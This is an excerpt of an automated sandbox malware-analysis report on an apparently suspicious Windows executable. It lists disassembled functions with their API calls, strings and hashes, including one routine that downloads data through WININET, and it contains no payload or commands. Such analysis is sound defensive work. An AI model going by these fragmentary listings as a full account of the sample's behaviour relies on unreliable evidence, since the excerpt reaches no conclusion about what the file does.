CloseHandle.KERNEL32(00985707), ref: 0098D771
GetLastError.KERNEL32 ref: 0098D7A3
__dosmaperr.LIBCMT ref: 0098D7AA

Strings

H, xrefs: 0098D72F

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 2a8faed252000c7ebfdd4a34cf4f39195430e8972e6d5d3bbaa20d912a8ff438
Instruction ID: e1d23174086120683b772c31a85bff524021a854ae2507433b4866b11c0d5d98
Opcode Fuzzy Hash: 2a8faed252000c7ebfdd4a34cf4f39195430e8972e6d5d3bbaa20d912a8ff438
Instruction Fuzzy Hash: A9A17732A191589FCF18AF68DC51BAE7BA5EB46324F14415EF815DF3E1EB348802CB91

Function 009701D4 Relevance: 13.7, APIs: 9, Instructions: 159COMMON

Download Yara Rule

APIs

___std_fs_open_handle@16.LIBCPMT ref: 009701FE

Part of subcall function 009700E2: CreateFileW.KERNEL32(?,?,00000007,00000000,00000003,00000080,00000000,000000FF,?,0096FFF1,?,000000FF,00000080,?), ref: 009700F7
Part of subcall function 009700E2: GetLastError.KERNEL32(?,0096FFF1,?,000000FF,00000080,?), ref: 00970107

___std_fs_open_handle@16.LIBCPMT ref: 00970227
SetFileInformationByHandle.KERNEL32(?,00000015,?,00000004,?,00000000,00010000,02200000,?,00000000,00010180,02200000,00000000,00000000), ref: 00970250
GetLastError.KERNEL32 ref: 00970267
GetFileInformationByHandleEx.KERNEL32(?,00000000,?,00000028,?), ref: 009702A9
GetLastError.KERNEL32 ref: 009702B6

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ErrorFileLast$HandleInformation___std_fs_open_handle@16$Create
String ID:
API String ID: 2340841425-0
Opcode ID: d41335d31cec7fe8be879a1351db8f5a74dec0f2577ad5d01baef44eb1a95879
Instruction ID: 5b8b2f7c108fcb9a2a9fc27e131dff0715bb1718710cbb3caeff213ce1957484
Opcode Fuzzy Hash: d41335d31cec7fe8be879a1351db8f5a74dec0f2577ad5d01baef44eb1a95879
Instruction Fuzzy Hash: B7414A33A45208FBDB21DBB8EC99BBE77BCABD9744F148029F509E7251D6648E04C750

Function 0097125A Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 009712A1
__alloca_probe_16.LIBCMT ref: 009712CD
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0097130C
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00971329
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00971368
__alloca_probe_16.LIBCMT ref: 00971385
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 009713C7
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 009713EA

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 3f6361dc0e2df53f8dc0b77a1da66ec8191aca9d5d62a384bfbb529bec2b82ed
Instruction ID: 78c4fa78aeb898b882f996ef028976ca98191e566552ca03d19545d376ddca28
Opcode Fuzzy Hash: 3f6361dc0e2df53f8dc0b77a1da66ec8191aca9d5d62a384bfbb529bec2b82ed
Instruction Fuzzy Hash: 4951AE73A00206BBEF205F69CC45FAA7BADEF84741F248569F919E61A0DB349C119B60

Function 0096AF6A Relevance: 12.1, APIs: 8, Instructions: 142networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET ref: 0096AF8E
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,80000000,00000000), ref: 0096AFB7
InternetCloseHandle.WININET(?), ref: 0096AFC9
InternetReadFile.WININET(00000000,?,00002000,?), ref: 0096B060
InternetReadFile.WININET(00000000,?,00002000,00000000), ref: 0096B099
InternetCloseHandle.WININET(00000000), ref: 0096B0DE
InternetCloseHandle.WININET(?), ref: 0096B0E6
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0096B159

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: Internet$CloseHandle$FileOpenRead$Ios_base_dtorstd::ios_base::_
String ID:
API String ID: 1586671814-0
Opcode ID: 6d24ded7612f4797bea247e3ade4ff33f338d166452a6160843935e52277ad67
Instruction ID: d341aebafd71e90b48176fa7b8904759e2ff2652a441bf5b65916d5ff7498fd0
Opcode Fuzzy Hash: 6d24ded7612f4797bea247e3ade4ff33f338d166452a6160843935e52277ad67
Instruction Fuzzy Hash: CF517D719042189FEB20DF24CC4CBD9B7B8EF94304F5141EAEA19A7251E731AE84DF91

Function 0098020F Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00980295

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: dd7466477b5a722b59fc3f33f85b8bee9a1cce059e5cf6dca8c452f7f1e299c1
Instruction ID: 53ae1c3630fc29af7c649bac3a5c617dc6088ec5a4c98621f0db761c01456eee
Opcode Fuzzy Hash: dd7466477b5a722b59fc3f33f85b8bee9a1cce059e5cf6dca8c452f7f1e299c1
Instruction Fuzzy Hash: E0B15B32A403559FDB61AF68CC81BBE7BA9EFD5310F144156F914AB382E374D905CBA0

Function 00974E04 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00974F23
___TypeMatch.LIBVCRUNTIME ref: 0097502E
CallUnexpected.LIBVCRUNTIME ref: 0097519C

Strings

csm, xrefs: 00974F5A
csm, xrefs: 00974EAE
csm, xrefs: 00974E41

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: fd03f4a979c2e910f65d994cdbe581af42841ee8fe4848fb1d93d927f189d998
Instruction ID: 9a056d36388f5503cce11edaa7f65124f03844fd85fb674f1a95c202ddbe0579
Opcode Fuzzy Hash: fd03f4a979c2e910f65d994cdbe581af42841ee8fe4848fb1d93d927f189d998
Instruction Fuzzy Hash: 43B19D32900609EFDF29DFA4C881AAEB7B9FF44311F51C05AE8186B202D771DA51CF95

Function 009748D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00974907
___except_validate_context_record.LIBVCRUNTIME ref: 0097490F
_ValidateLocalCookies.LIBCMT ref: 00974998
__IsNonwritableInCurrentImage.LIBCMT ref: 009749C3
_ValidateLocalCookies.LIBCMT ref: 00974A18

Strings

csm, xrefs: 009749AD

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3a2df5fcde3f26fd9cba66a0e3b5204ba5040e563b3a4bfd173fbb3c2f416835
Instruction ID: f85358535651fc3811681af96bf5b236f0f06121e281f0f0823db3c4bcdd0ee2
Opcode Fuzzy Hash: 3a2df5fcde3f26fd9cba66a0e3b5204ba5040e563b3a4bfd173fbb3c2f416835
Instruction Fuzzy Hash: 9F41B036A00218DBCF10DF68C885BAEBBB4AF85724F14C165E91CAB392D7719A11CB91

Function 009710E2 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 009710E8
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 009710F6
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00971107

Strings

GetSystemTimePreciseAsFileTime, xrefs: 009710F0
GetTempPath2W, xrefs: 009710FC
kernel32.dll, xrefs: 009710E3

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 3d427d60b2470eefec0a8a1003a7eb1d0719bb9d3d452eabb251833830d3b8dc
Instruction ID: 233115820bbc6c7c0a0723feb6c2b158dd98b9962b8fbddf935df7c230982aa3
Opcode Fuzzy Hash: 3d427d60b2470eefec0a8a1003a7eb1d0719bb9d3d452eabb251833830d3b8dc
Instruction Fuzzy Hash: E7D0A7316AD310BB97119F7CBC0E8863BD4EA58B0E3004523F500C2130D3700440ABE0

Function 00983F44 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac3e3bc4e1304ff0f7e540d6589c6b38d4d2df7408cef2775db0f55b5c2cec43
Instruction ID: f731c0a3d3e8c8739ddd7813057dd99308e32325e4e7747322cf0ae11ced58e2
Opcode Fuzzy Hash: ac3e3bc4e1304ff0f7e540d6589c6b38d4d2df7408cef2775db0f55b5c2cec43
Instruction Fuzzy Hash: D7B13571E0820AAFDB11EFA8C841BAEBBB8BF96310F048159F515D7392D7749D41CBA0

Function 0097C410 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 370COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0097C4FA
__freea.LIBCMT ref: 0097C58A
__freea.LIBCMT ref: 0097C5A6

Strings

a/p, xrefs: 0097C66C
am/pm, xrefs: 0097C608

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: 2f528be7cb250aa9ca52d49b7a9e4e5dda9583099310f83718f1ba882fe69c8b
Instruction ID: f1207ed0d6177f34740469d45f829c48da700cd8cd12c17548279472a9094bb7
Opcode Fuzzy Hash: 2f528be7cb250aa9ca52d49b7a9e4e5dda9583099310f83718f1ba882fe69c8b
Instruction Fuzzy Hash: 47C1CFF7A04206DBCB288F68C895AFA77B8FF49700F14C55DE909AB250D735AD41CB92

Function 00974A94 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00974A8B,00972C3B,0097245A), ref: 00974AA2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00974AB0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00974AC9
SetLastError.KERNEL32(00000000,00974A8B,00972C3B,0097245A), ref: 00974B1B

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: b81636e940675632e22ca1986ffa9a4df11eabab1c349609f2e03fee8de29eea
Instruction ID: 67dc1410f4aa834ed3020cc9c775638d155f6417ad1e130a3c2a97b062ecb209
Opcode Fuzzy Hash: b81636e940675632e22ca1986ffa9a4df11eabab1c349609f2e03fee8de29eea
Instruction Fuzzy Hash: F201D83321D711AFE7352BB96C4676A2B48FB46B75724862AF128511F2FF619C10A144

Function 0097D0A7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,C57AAC56,?,?,00000000,00990840,000000FF,?,0097D083,00000002,?,0097D057,0097ADEC), ref: 0097D0DC
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0097D0EE
FreeLibrary.KERNEL32(00000000,?,?,00000000,00990840,000000FF,?,0097D083,00000002,?,0097D057,0097ADEC), ref: 0097D110

Strings

mscoree.dll, xrefs: 0097D0D5
CorExitProcess, xrefs: 0097D0E6

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6305d685bda666b4cf5d82d29d6f4b6834e94aafa777c47138c68afaf1e872e7
Instruction ID: f6b5d3bb3dbdd328899950522bd57aa1dfb8486b6c0ce658e1f7eb8d72dc392f
Opcode Fuzzy Hash: 6305d685bda666b4cf5d82d29d6f4b6834e94aafa777c47138c68afaf1e872e7
Instruction Fuzzy Hash: D001A23291C619FFDB169F58CC05BBEBBB8FB44B14F040526F811A2290DBB59800CB90

Function 009848C3 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00984948
__alloca_probe_16.LIBCMT ref: 00984A11
__freea.LIBCMT ref: 00984A78

Part of subcall function 009800BC: RtlAllocateHeap.NTDLL(00000000,?,?,?,00000003,0097FCCA), ref: 009800EE

__freea.LIBCMT ref: 00984A8B
__freea.LIBCMT ref: 00984A98

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 2187ab9f68f07c180234243e46c15e9ae5086f31b1b3c8f9030a644db6cd5ae2
Instruction ID: f249180e2c74c9066d8c0256eb907a96c639f27a711624b2b7e69451dc883753
Opcode Fuzzy Hash: 2187ab9f68f07c180234243e46c15e9ae5086f31b1b3c8f9030a644db6cd5ae2
Instruction Fuzzy Hash: D351AE72600207AFEF24AF64CC81EBB7AADEF84710F194529FD18DA201EA35CC508764

Function 0096ED80 Relevance: 7.6, APIs: 5, Instructions: 120COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0096EDC7
std::_Lockit::_Lockit.LIBCPMT ref: 0096EDE9
std::_Lockit::~_Lockit.LIBCPMT ref: 0096EE09
std::_Lockit::~_Lockit.LIBCPMT ref: 0096EE94
Concurrency::cancel_current_task.LIBCPMT ref: 0096EEDA

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 098c3824f46fc59829699381e58cb07251ee19cc7621213cc126dedc2d72734e
Instruction ID: dea7267c17f64b86c9009eec9bf8247a94cc44232e0aec1a50a2a263a5739f0f
Opcode Fuzzy Hash: 098c3824f46fc59829699381e58cb07251ee19cc7621213cc126dedc2d72734e
Instruction Fuzzy Hash: 8C418C79A00219CFCB11DF98D895BAEBBB8FF48710F14416AE919A7391D731AD00CFA0

Function 00971472 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00971486
AcquireSRWLockExclusive.KERNEL32(0096F705,?,00000000,0099191B,000000FF,?,0096F705), ref: 009714A5
AcquireSRWLockExclusive.KERNEL32(0096F705,?,?,?,00000000,0099191B,000000FF,?,0096F705), ref: 009714D3
TryAcquireSRWLockExclusive.KERNEL32(0096F705,?,?,?,00000000,0099191B,000000FF,?,0096F705), ref: 0097152E
TryAcquireSRWLockExclusive.KERNEL32(0096F705,?,?,?,00000000,0099191B,000000FF,?,0096F705), ref: 00971545

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 04d3fffde5197590eeb55a5b676eb7211a5d23c0dd9ebff7b49b260bebaf220f
Instruction ID: 96e0d9c67b5fdd0d489d14243ff75e2084b6a42a4304dc19428de23f9e70f443
Opcode Fuzzy Hash: 04d3fffde5197590eeb55a5b676eb7211a5d23c0dd9ebff7b49b260bebaf220f
Instruction Fuzzy Hash: F2415B76A04606DFCB28DF6DC481A6AB3F9FF89750B10892AE44FD7650E730E984CB54

Function 0096EF70 Relevance: 7.6, APIs: 5, Instructions: 110COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0096EFA6
std::_Lockit::_Lockit.LIBCPMT ref: 0096EFC9
std::_Lockit::~_Lockit.LIBCPMT ref: 0096EFE9
std::_Lockit::~_Lockit.LIBCPMT ref: 0096F073
Concurrency::cancel_current_task.LIBCPMT ref: 0096F096

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 1d833367279cc813f339bd875e6de63338fd56fb84459a80bed4a4368f5ff6d5
Instruction ID: 80a3d36b16ede15ceb92870ce3a8cd5cd730b34079fc1581cf82234847351cf3
Opcode Fuzzy Hash: 1d833367279cc813f339bd875e6de63338fd56fb84459a80bed4a4368f5ff6d5
Instruction Fuzzy Hash: BC419C76904226CFCB14CFA4E851BAEB7B4FF85710F14426AE919A7352E731AD00CBD0

Function 0097099C Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 009709A3
std::_Lockit::_Lockit.LIBCPMT ref: 009709AE
std::_Lockit::~_Lockit.LIBCPMT ref: 00970A1C

Part of subcall function 00970B00: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00970B18

std::locale::_Setgloballocale.LIBCPMT ref: 009709C9
_Yarn.LIBCPMT ref: 009709DF

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: f8347310fa9d42d23a8669bdc369eaf1de5dab62a7c98b71cc3d605032602938
Instruction ID: beb6b93e2a1feb793c2ec63aa7f49626f50e855755744c285a3d0e96e0e4722b
Opcode Fuzzy Hash: f8347310fa9d42d23a8669bdc369eaf1de5dab62a7c98b71cc3d605032602938
Instruction Fuzzy Hash: 3401BC36A04210DBCB0AEB68D865B7DB761FFC4710B24800AE82997391DF34AE41DBC1

Function 00969F30 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00969FB3
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0096A034
std::_Lockit::~_Lockit.LIBCPMT ref: 0096A0C9

Strings

bad locale name, xrefs: 0096A0E7

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3553999535-1405518554
Opcode ID: 2aa5cf25ca6ba64452b12fe2a42158086f9b5e75b333a47c55d6e169841720e1
Instruction ID: 834e90c968e76ff51844fc4e562dae2207ab6341d8dc8982d21d470313c0e6da
